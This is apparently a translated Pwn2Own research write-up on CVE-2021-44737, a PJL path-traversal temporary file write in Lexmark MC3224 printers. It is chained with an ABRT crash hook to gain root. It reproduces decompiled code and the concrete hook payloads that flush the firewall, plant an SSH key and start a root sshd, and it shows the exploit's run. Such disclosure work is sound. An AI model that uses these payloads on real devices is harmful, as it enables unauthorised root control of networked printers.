利用 PJL 路径穿越漏洞,实现Lexmark MC3224i打印机的RCE
导语:在本文中,我们将为读者详细介绍如何利用 PJL 路径穿越漏洞,实现Lexmark MC3224i打印机的远程代码执行。
2021年10月,我们的研究人员发现了一个安全漏洞,并在2021年11月举行的Pwn2Own 2021大赛中成功利用了该漏洞。今年一月,Lexmark公司发布了该漏洞(CVE-2021-44737)的安全补丁。
最初,我们是打算以Lexmark MC3224i打印机为目标的,然而,由于该型号的打印机到处缺货,所以,我们决定买一台Lexmark MC3224dwe打印机作为其替代品。它们的主要区别在于:Lexmark MC3224i型号提供了传真功能,而Lexmark MC3224dwe型号则缺乏该功能。从漏洞分析的角度来看,这意味着两者之间可能有一些差异,至少我们很可能无法利用某些功能。于是,我们下载了两个型号的固件更新,发现它们竟然完全一样,所以,我们决定继续考察Lexmark MC3224dwe——反正我们也没有选择的余地。
就像Pwn2Own所要求的那样,该漏洞可被远程利用,无需经过身份验证,并存在于默认配置中。利用该漏洞,攻击者就能以该打印机的root用户身份远程执行代码。
关于该漏洞的利用过程,具体如下所示:
1、利用临时文件写入漏洞(CVE-2021-44737),对ABRT钩子文件执行写操作
2、通过远程方式,令进程发生崩溃,以触发ABRT的中止处理
3、中止处理将导致ABRT钩子文件中的bash命令被执行
实际上,临时文件写入漏洞位于Lexmark特有的hydra服务(/usr/bin/hydra)中,该服务在Lexmark MC3224dwe打印机上是默认运行的。hydra服务的二进制文件非常大,因为它需要处理各种协议。该漏洞存在于打印机工作语言(PJL)命令中,更具体地说,是在一个名为LDLWELCOMESCREEN的命令中。
我们已经分析并利用了CXLBL.075.272/CXLBL.075.281版本中的漏洞,但旧版本也可能存在该漏洞。在这篇文章中,我们将详细介绍针对CXLBL.075.272的分析过程,因为CXLBL.075.281是在去年10月中旬发布的,并且我们一直在研究这个版本。
注意:Lexmark MC3224dwe打印机是基于ARM(32位)架构的,但这对漏洞的利用过程并不重要,只是对逆向分析有点影响。
由于该漏洞先是触发了一个ABRT,随后又中止了ABRT,所以,我们将其命名为“MissionAbrt”。
逆向分析
您可以从Lexmark下载页面下载Lexmark固件更新文件,但是,这个文件是加密的。如果您有兴趣了解我们的同事Catalin Visinescu是如何使用硬件黑客技术来获取该固件文件的,请参阅本系列的第一篇文章。
漏洞详细信息
背景知识
正如维基百科所说:
打印机作业语言(PJL)是Hewlett-Packard公司开发的一种方法,用于在作业级别切换打印机语言,以及在打印机和主机之间进行状态回读。PJL增加了作业级别控制,如打印机语言切换、作业分离、环境、状态回读、设备考勤和文件系统命令。
PJL命令如下所示:
@PJL SET PAPER=A4 @PJL SET COPIES=10 @PJL ENTER LANGUAGE=POSTSCRIPT
众所周知,PJL对攻击者来说是非常有用的。过去,一些打印机曾经曝光过允许在设备上读写文件的漏洞。
PRET是这样一款工具:借助于该软件,我们就能在各种打印机品牌上使用PIL(以及其他语言),但它不一定支持所有的命令,因为每个供应商都提供了自己的专有命令。
找到含有漏洞的函数
虽然hydra服务的二进制文件没有提供符号,却提供了许多日志/错误函数,其中包含一些函数名。下面显示的代码是通过IDA/Hex-Rays反编译的代码,因为尚未找到该二进制文件的开放源代码。其中,许多PJL命令由地址为0xFE17C的setup_pjl_commands()函数注册的。这里,我们对LDLWELCOMESCREEN PJL命令非常感兴趣,因为它好像是Lexmark专有的,并且没有找到相应的说明文档。
int __fastcall setup_pjl_commands(int a1)
{
// [COLLAPSED LOCAL DECLARATIONS. PRESS KEYPAD CTRL-"+" TO EXPAND]
pjl_ctx = create_pjl_ctx(a1);
pjl_set_datastall_timeout(pjl_ctx, 5);
sub_11981C();
pjlpGrowCommandHandler("UEL", pjl_handle_uel);
...
pjlpGrowCommandHandler("LDLWELCOMESCREEN", pjl_handle_ldlwelcomescreen);
...当接收到PJL LDLWELCOMESCREEN命令后,0x1012f0处的pjl_handle_ldlwelcomescreen()函数将开始处理该命令。我们可以看到,这个命令使用一个表示文件名的字符串作为第一个参数:
int __fastcall pjl_handle_ldlwelcomescreen(char *client_cmd)
{
// [COLLAPSED LOCAL DECLARATIONS. PRESS KEYPAD CTRL-"+" TO EXPAND]
result = pjl_check_args(client_cmd, "FILE", "PJL_STRING_TYPE", "PJL_REQ_PARAMETER", 0);
if ( result <= 0 )
return result;
filename = (const char *)pjl_parse_arg(client_cmd, "FILE", 0);
return pjl_handle_ldlwelcomescreen_internal(filename);
}然后,0x10a200处的pjl_handle_ldlwelcomescreen_internal()函数将尝试打开该文件。请注意,如果该文件存在,该函数并不会打开它,而是立即返回。因此,我们只能写还不存在的文件。此外,完整的目录层次结构必须已经存在,以便我们创建文件,同时,我们还需要具有写文件的权限。
unsigned int __fastcall pjl_handle_ldlwelcomescreen_internal(const char *filename)
{
// [COLLAPSED LOCAL DECLARATIONS. PRESS KEYPAD CTRL-"+" TO EXPAND]
if ( !filename )
return 0xFFFFFFFF;
fd = open(filename, 0xC1, 0777); // open(filename,O_WRONLY|O_CREAT|O_EXCL, 0777)
if ( fd == 0xFFFFFFFF )
return 0xFFFFFFFF;
ret = pjl_ldwelcomescreen_internal2(0, 1, pjl_getc_, write_to_file_, &fd);// goes here
if ( !ret && pjl_unk_function && pjl_unk_function(filename) )
pjl_process_ustatus_device_(20001);
close(fd);
remove(filename);
return ret;
}下面我们开始考察pjl_ldwelcomescreen_internal2()函数,但请注意,上面的文件最后会被关闭,并然后通过remove()调用完全删除文件名。这意味着我们似乎只能暂时写入该文件。
文件写入原语
现在,让我们分析0x115470处的pjl_ldwelcomescreen_internal2()函数。由于使用了flag == 0选项,因此,pjl_handle_ldlwelcomescreen_internal()函数最终将调用pjl_ldwelcomescreen_internal3()函数:
unsigned int __fastcall pjl_ldwelcomescreen_internal2(
int flag,
int one,
int (__fastcall *pjl_getc)(unsigned __int8 *p_char),
ssize_t (__fastcall *write_to_file)(int *p_fd, char *data_to_write, size_t len_to_write),
int *p_fd)
{
// [COLLAPSED LOCAL DECLARATIONS. PRESS KEYPAD CTRL-"+" TO EXPAND]
bad_arg = write_to_file == 0;
if ( write_to_file )
bad_arg = pjl_getc == 0;
if ( bad_arg )
return 0xFFFFFFFF;
if ( flag )
return pjl_ldwelcomescreen_internal3bis(flag, one, pjl_getc, write_to_file, p_fd);
return pjl_ldwelcomescreen_internal3(one, pjl_getc, write_to_file, p_fd);// goes here due to flag == 0
}我们花了一些时间,来逆向分析0x114838处的pjl_ldwelcomescreen_internal3()函数,以理解其内部机制。这个函数不仅很大,通过反编译得到的代码可读性不是太高,但逻辑仍然很容易理解。
基本上,这个函数负责从客户端读取附加数据,并将其写入前面打开的文件。
客户端数据似乎是由另一个线程异步接收的,并保存到分配给pjl_ctx结构体的内存中。因此,pjl_ldwelcomescreen_internal3()函数每次从pjl_ctx结构体中读取一个字符,并填充0x400字节的堆栈缓冲区。
1、如果接收到0x400字节数据,并且堆栈缓冲区已满,则最终会将这些0x400字节写入以前打开的文件中。然后,它重置堆栈缓冲区,并开始读取更多数据以重复该过程。
2、如果接收到PJL命令的页脚(“@PJL END data”),它将丢弃页脚部分,然后将接收的数据(大小< 0x400字节)写入文件,最后退出。
unsigned int __fastcall pjl_ldwelcomescreen_internal3(
int was_last_write_success,
int (__fastcall *pjl_getc)(unsigned __int8 *p_char),
ssize_t (__fastcall *write_to_file)(int *p_fd, char *data_to_write, size_t len_to_write),
int *p_fd)
{
unsigned int current_char_2; // r5
size_t len_to_write; // r4
int len_end_data; // r11
int has_encountered_at_sign; // r6
unsigned int current_char_3; // r0
int ret; // r0
int current_char_1; // r3
ssize_t len_written; // r0
unsigned int ret_2; // r3
ssize_t len_written_1; // r0
unsigned int ret_3; // r3
ssize_t len_written_2; // r0
unsigned int ret_4; // r3
int was_last_write_success_1; // r3
size_t len_to_write_final; // r4
ssize_t len_written_final; // r0
unsigned int ret_5; // r3
unsigned int ret_1; // [sp+0h] [bp-20h]
unsigned __int8 current_char; // [sp+1Fh] [bp-1h] BYREF
_BYTE data_to_write[1028]; // [sp+20h] [bp+0h] BYREF
current_char_2 = 0xFFFFFFFF;
ret_1 = 0;
b_restart_from_scratch:
len_to_write = 0;
memset(data_to_write, 0, 0x401u);
len_end_data = 0;
has_encountered_at_sign = 0;
current_char_3 = current_char_2;
while ( 1 )
{
current_char = 0;
if ( current_char_3 == 0xFFFFFFFF )
{
// get one character from pjl_ctx->pData
ret = pjl_getc(¤t_char);
current_char_1 = current_char;
}
else
{
// a previous character was already retrieved, let's use that for now
current_char_1 = (unsigned __int8)current_char_3;
ret = 1; // success
current_char = current_char_1;
}
if ( has_encountered_at_sign )
break; // exit the loop forever
// is it an '@' sign for a PJL-specific command?
if ( current_char_1 != '@' )
goto b_read_pjl_data;
len_end_data = 1;
has_encountered_at_sign = 1;
b_handle_pjl_at_sign:
// from here, current_char == '@'
if ( len_to_write + 13 > 0x400 ) // ?
{
if ( was_last_write_success )
{
len_written = write_to_file(p_fd, data_to_write, len_to_write);
was_last_write_success = len_to_write == len_written;
current_char_2 = '@';
ret_2 = ret_1;
if ( len_to_write != len_written )
ret_2 = 0xFFFFFFFF;
ret_1 = ret_2;
}
else
{
current_char_2 = '@';
}
goto b_restart_from_scratch;
}
b_read_pjl_data:
if ( ret == 0xFFFFFFFF ) // error
{
if ( !was_last_write_success )
return ret_1;
len_written_1 = write_to_file(p_fd, data_to_write, len_to_write);
ret_3 = ret_1;
if ( len_to_write != len_written_1 )
return 0xFFFFFFFF; // error
return ret_3;
}
if ( len_to_write > 0x400 )
__und(0);
// append data to stack buffer
data_to_write[len_to_write++] = current_char_1;
current_char_3 = 0xFFFFFFFF; // reset to enforce reading another character
// at next loop iteration
// reached 0x400 bytes to write, let's write them
if ( len_to_write == 0x400 )
{
current_char_2 = 0xFFFFFFFF; // reset to enforce reading another character
// at next loop iteration
if ( was_last_write_success )
{
len_written_2 = write_to_file(p_fd, data_to_write, 0x400);
ret_4 = ret_1;
if ( len_written_2 != 0x400 )
ret_4 = 0xFFFFFFFF;
ret_1 = ret_4;
was_last_write_success_1 = was_last_write_success;
if ( len_written_2 != 0x400 )
was_last_write_success_1 = 0;
was_last_write_success = was_last_write_success_1;
}
goto b_restart_from_scratch;
}
} // end of while ( 1 )
// we reach here if we encountered an '@' sign
// let's check it is a valid "@PJL END DATA" footer
if ( (unsigned __int8)aPjlEndData[len_end_data] != current_char_1 )
{
len_end_data = 1;
has_encountered_at_sign = 0; // reset so we read it again?
goto b_read_data_or_at;
}
if ( len_end_data != 12 ) // len("PJL END DATA") = 12
{
++len_end_data;
b_read_data_or_at:
// will go back to the while(1) loop but exit at the next
// iteration due to "break" and has_encountered_at_sign == 1
if ( current_char_1 != '@' )
goto b_read_pjl_data;
goto b_handle_pjl_at_sign;
}
// we reach here if all "PJL END DATA" was parsed
current_char = 0;
pjl_getc(¤t_char); // read '\r'
if ( current_char == '\r' )
pjl_getc(¤t_char); // read '\n'
// write all the remaining data (len < 0x400), except the "PJL END DATA" footer
len_to_write_final = len_to_write - 0xC;
if ( !was_last_write_success )
return ret_1;
len_written_final = write_to_file(p_fd, data_to_write, len_to_write_final);
ret_5 = ret_1;
if ( len_to_write_final != len_written_final )
return 0xFFFFFFFF;
return ret_5;
}位于0xFEA18处的pjl_getc()函数,用于从pjl_ctx结构体中检索一个字符:
int __fastcall pjl_getc(_BYTE *ppOut)
{
// [COLLAPSED LOCAL DECLARATIONS. PRESS KEYPAD CTRL-"+" TO EXPAND]
pjl_ctx = get_pjl_ctx();
*ppOut = 0;
InputDataBufferSize = pjlContextGetInputDataBufferSize(pjl_ctx);
if ( InputDataBufferSize == pjl_get_end_of_file(pjl_ctx) )
{
pjl_set_eoj(pjl_ctx, 0);
pjl_set_InputDataBufferSize(pjl_ctx, 0);
pjl_get_data((int)pjl_ctx);
if ( pjl_get_state(pjl_ctx) == 1 )
return 0xFFFFFFFF; // error
if ( !pjlContextGetInputDataBufferSize(pjl_ctx) )
_assert_fail(
"pjlContextGetInputDataBufferSize(pjlContext) != 0",
"/usr/src/debug/jobsystem/git-r0/git/jobcontrol/pjl/pjl.c",
0x1BBu,
"pjl_getc");
}
current_char = pjl_getc_internal(pjl_ctx);
ret = 1;
*ppOut = current_char;
return ret;
}0x6595C处的write_to_file()函数只是将数据写入指定的文件描述符:
int __fastcall write_to_file(void *data_to_write, size_t len_to_write, int fd)
{
// [COLLAPSED LOCAL DECLARATIONS. PRESS KEYPAD CTRL-"+" TO EXPAND]
total_written = 0;
do
{
while ( 1 )
{
len_written = write(fd, data_to_write, len_to_write);
len_written_1 = len_written;
if ( len_written < 0 )
break;
if ( !len_written )
goto b_error;
data_to_write = (char *)data_to_write + len_written;
total_written += len_written;
len_to_write -= len_written;
if ( !len_to_write )
return total_written;
}
}
while ( *_errno_location() == EINTR );
b_error:
printf("%s:%d [%s] rc = %d\n", "../git/hydra/flash/flashfile.c", 0x153, "write_to_file", len_written_1);
return 0xFFFFFFFF;
}从攻击的角度来看,我们所感兴趣的是,如果发送的字节数量超过0x400,超出部分将被写入该文件;如果我们不发送PJL命令的页脚,它将等待我们继续发送更多数据,然后才真正完全删除该文件。
注意:当发送数据时,我们通常需要发送一定的填充数据,以确保其长度为0x400的倍数,这样我们控制的数据才会真正写入文件。
确认临时文件写入是否成功
有几个CGI脚本,可以用来显示文件系统上的文件内容。例如,/usr/share/web/cgi-bin/eventlogdebug_se的内容是:
#!/bin/ash echo "Expires: Sun, 27 Feb 1972 08:00:00 GMT" echo "Pragma: no-cache" echo "Cache-Control: no-cache" echo "Content-Type: text/html" echo echo "< HTML >< HEAD >< META HTTP-EQUIV=\"Content-type\" CONTENT=\"text/html; charset=UTF-8\" >< /HEAD >< BODY >< PRE >" echo "[++++++++++++++++++++++ Advanced EventLog (AEL) Retrieved Reports ++++++++++++++++++++++]" for i in 9 8 7 6 5 4 3 2 1 0; do if [ -e /var/fs/shared/eventlog/logs/debug.log.$i ] ; then cat /var/fs/shared/eventlog/logs/debug.log.$i fi done echo "[+++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++]" echo "" echo "" echo "[++++++++++++++++++++++ Advanced EventLog (AEL) Configurations ++++++++++++++++++++++]" rob call applications.eventlog getAELConfiguration n echo "[+++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++]" echo "< /PRE >< /BODY >< /HTML >"
因此,我们可以使用之前讨论过的临时文件写入原语,向/var/fs/shared/eventlog/logs/debug.log.1文件中写入大量的字符A。
然后,我们可以通过访问CGI页面,来确认对该文件的写入操作是否成功。
通过测试,我们注意到该文件会在1分钟和1分钟40之间被自动删除,这可能是由于hydra中PJL处理的超时所致。这意味着:我们可以利用这个临时文件原语的时间窗口为60秒。
漏洞的利用
利用崩溃事件处理程序(又称ABRT)
为了找到执行代码的方法,我们花费了大量的时间。直到我们注意到有几个配置文件定义了崩溃发生时要做什么时,我们终于抓住了一个突破口。
$ ls ./squashfs-root/etc/libreport/events.d abrt_dbus_event.conf emergencyanalysis_event.conf rhtsupport_event.conf vimrc_event.conf ccpp_event.conf gconf_event.conf smart_event.conf vmcore_event.conf centos_report_event.conf koops_event.conf svcerrd.conf coredump_handler.conf print_event.conf uploader_event.conf
例如,coredump_handler.conf可以用来执行shell命令:
# coredump-handler passes /dev/null to abrt-hook-ccpp which causes it to write # an empty core file. Delete this file so we don't attempt to use it. EVENT=post-create type=CCpp [ "$(stat -c %s coredump)" != "0" ] || rm coredump
下面介绍ABRT的运行机制:
如果程序开发人员(或包维护人员)需要用到ABRT未收集的某些信息,他们可以编写一个定制的ABRT钩子,为他的程序(包)收集所需的数据。这种钩子可以在问题处理期间的不同时间点运行,这取决于信息的“新鲜”程度。它可以在下列时间点运行:
1.崩溃时
2.当用户决定分析问题时(通常需要运行gdb)
3.在编写本报告时
您所要做的就是创建一个.conf文件,并将其放在/etc/libreport/events.d/中:
EVENT=< EVENT_TYPE > [CONDITIONS] < whatever command you like >
这些命令将在当前目录设置为问题目录的情况下执行(例如:/var/spool/abrt/ccpp-2012-05-17-14:55:15-31664目标)。
如果您需要在崩溃时收集数据,则需要创建一个作为post-create事件运行的钩子。
警告:post-create事件以root权限运行!
通过上面的介绍,我们可以确定必须创建一个post-create事件,并且我们知道如果/当一个崩溃事件实际上由ABRT处理时,它将以root权限去执行。
触发进程崩溃
实际上,导致进程崩溃的方法有很多种,它们似乎都会导致蓝屏死机(BSOD),然后,打印机将重新启动:

这样的进程崩溃足以触发ABRT行为。一旦我们触发了这样的进程崩溃,abrtd就会触发控制文件的post-create事件。通过启动我们自己的进程(例如netcat、ssh),该进程就永远不会返回,这样就可以避免崩溃处理过程继续进行,从而避免BSOD。
另外,我们可以利用awk中的一个漏洞来触发崩溃。如果打印机上使用的awk版本相当旧,那么,其中可能会存在一些新版本上并不存在的漏洞。比如,如果在设备上用awk命令来处理一个并不存在的文件,则会触发无效的free()函数:
# awk 'match($10,/AH00288/,b){a[b[0]]++}END{for(i in a) if (a[i] > 5) print a[i]}' /tmp/doesnt_exist
free(): invalid pointer
Aborted为了远程触发它,我们滥用了apache2中的一个竞态条件漏洞;相关的配置包含以下内容:
ErrorLog "|/usr/sbin/rotatelogs -L '/run/log/apache_error_log' -p '/usr/bin/apache2-logstat.sh' /run/log/apache_error_log.%Y-%m-%d-%H_%M_%S 32K"
以上配置将触发每生成32KB日志的日志轮换,生成的日志文件具有唯一的名称,但最低时间粒度以秒。因此,如果生成的HTTP日志足够多,以至于在一秒钟内发生两次轮换,那么,apache2-logstat.sh的两个实例可能会同时解析同名的文件。在apache2-logstat.sh中,我们可以看到以下内容:
#!/bin/sh
file_to_compress="${2}"
path_to_logs="/run/log/"
compress_exit_code=0
to_restart=0
rm -f "${path_to_logs}"apache_error_log*.tar.gz
if [[ "${file_to_compress}" ]]; then
echo "Compressing ${file_to_compress} ..."
tar -czf "${file_to_compress}.tar.gz" "${file_to_compress}"
compress_exit_code=${?}
if [[ ${compress_exit_code} == 0 ]]; then
echo "File ${file_to_compress} was compressed."
echo "Check apache server status if needed to restart"
to_restart=$(awk 'match($10,/AH00288/,b){a[b[0]]++}END{for(i in a) if (a[i] > 5) print a[i]}' "${file_to_compress}")
if [ $to_restart -gt "5" ]
then
echo "Time to restart apache .."
rm -f "${path_to_logs}"apache_error_log*
systemctl restart apache2
fi
rm -rf "${file_to_compress}"
else
echo "Error compressing file ${file_to_compress} (tar exit code: ${compress_exit_code})."
fi
fi
exit ${compress_exit_code}上面的file_to_compress是根据前面显示的ErrorLog行生成的apache错误日志文件。成功压缩文件后,将对该文件运行awk命令,以确定是否应该重新启动apache,否则将删除该文件。当这个脚本的多个实例同时运行时,就会触发竞态条件:其中一个脚本从磁盘上删除日志文件,而另一个脚本则在已不存在的文件上运行awk,从而导致代码崩溃。
实际上,只要向设备发送大量HTTP数据,就可以触发这个崩溃现象。
虽然这里通过awk崩溃来触发代码执行,但任何远程预授权的崩溃都应该是可用的,只要它能触发ABRT运行即可。
小结
首先,我们使用临时文件写入原语创建/etc/libreport/events.d/abort_edg.conf文件,其中包含以下文件(由于前面解释过的原因,我们需要用大量空格进行填充):
EVENT=post-create /bin/ping 192.168.1.7 -c 4 iptables -F /bin/ping 192.168.1.7 -c 4
然后,通过触发进程崩溃,进而触发ABRT执行我们的上述命令;接着,使用ping命令来确认每个中间命令的执行时间。之后,使用Wireshark确认收到了8个ping数据包。然后,通过连接通常被防火墙阻止的打印机上的某些侦听服务,来确认防火墙已成功禁用。
下面的ABRT钩子文件用于禁用防火墙,配置并启动SSH:
EVENT=post-create iptables -F /bin/rm /var/fs/security/ssh/ssh_host_key mkdir /var/run/sshd || echo foo /usr/bin/ssh-keygen -b 256 -t ecdsa -N '' -f /var/fs/security/ssh/ssh_host_key echo "ecdsa-sha2-nistp521 AAAAE2VjZHNhLXNoYTItbmlzdHA1MjEAAAAIbmlzdHA1MjEAAACFBABl6xVq6dGu40kDyxwjlMw7sxq4JGhVdc4hvDlDPPhzmAyEBkUWZOPRsLcWYm5kDJN6zFPTS0a4KNbx56qICwkyGAHfRv/+lVMxO2BEPJyYUUdpRC3qmUx0xy3GlgpOUUl90LgiifwcO6UI0P4l+UsewOrDdP6ycuklzJCaa7jLlPkMjQ==" > /var/fs/security/ssh/authorized /usr/sbin/sshd -D -o PermitRootLogin=without-password -o AllowUsers=root -o AuthorizedKeysFile=/var/fs/security/ssh/authorized -h /var/fs/security/ssh/ssh_host_key while true; /bin/ping 192.168.1.7 -c 4; sleep 10; done
下面是exploit代码的运行情况:
$ ./MissionAbrt.py -i 192.168.1.4 (13:20:01) [*] [file creation thread] running (13:20:01) [*] Waiting for firewall to be disabled... (13:20:01) [*] [file creation thread] connected (13:20:01) [*] [file creation thread] file created (13:20:01) [*] [crash thread] running (13:20:09) [*] Firewall was successfully disabled (13:20:09) [*] [crash thread] done (13:20:10) [*] [file creation thread] done (13:20:10) [*] All threads exited (13:20:10) [*] Waiting for SSH to be available... (13:20:10) [*] Spawning SSH shell Line-buffered terminal emulation. Press F6 or ^Z to send EOF. id ABRT has detected 1 problem(s). For more info run: abrt-cli list root@XXXXXXXXXXXXXX:~# id uid=0(root) gid=0(root) groups=0(root) root@XXXXXXXXXXXXXX:~#
我们可以看到,现在已经通过abrtd启动了sshd:
root@XXXXXXXXXXXXXX:~# ps -axjf ... 1 772 772 772 ? -1 Ssl 0 0:00 /usr/sbin/abrtd -d -s 772 2343 772 772 ? -1 S 0 0:00 \_ abrt-server -s 2343 2550 772 772 ? -1 SN 0 0:00 \_ /usr/libexec/abrt-handle-event -i --nice 10 -e post-create -- /var/fs/shared/svcerr/abrt/ccpp-2021-10-20-07:06:21-2117 2550 2947 772 772 ? -1 SN 0 0:00 \_ /bin/sh -c echo 'mission abort!' iptables -F echo 'mission abort!' /bin/rm /var/fs/security/ssh/ssh_host_key echo 'mission a 2947 2952 772 772 ? -1 SN 0 0:00 \_ /usr/sbin/sshd -D -o PermitRootLogin=without-password -o AllowUsers=root -o AuthorizedKeysFile=/var/fs/security/ssh/authorized -h /var/fs/security/ssh/ssh_host_key 2952 3107 3107 3107 ? -1 SNs 0 0:00 \_ sshd: root@pts/0 3107 3109 3109 3109 pts/0 3128 SNs 0 0:00 \_ -sh 3109 3128 3128 3109 pts/0 3128 RN+ 0 0:00 \_ ps -axjf
Pwn2Own参赛感想
在参加Pwn2Own大赛时,我们的第一次尝试利用该漏洞的过程中,由于一个未知的SSH错误而失败了,而我们在自己的测试环境中并没有遇到这种情况。我们可以看到,我们的命令的确被执行了(防火墙被禁用,SSH服务器被启动/并且可达),但它不允许我们连接。在参赛之前,在我们的漏洞利用代码的开发过程中,我们还测试过netcat payload,所以,我们决定在第二次尝试时启动这两个payload,结果大获成功。这表明,在参加Pwn2Own比赛时,拥有备份计划是多么重要!
发表评论










提供云计算服务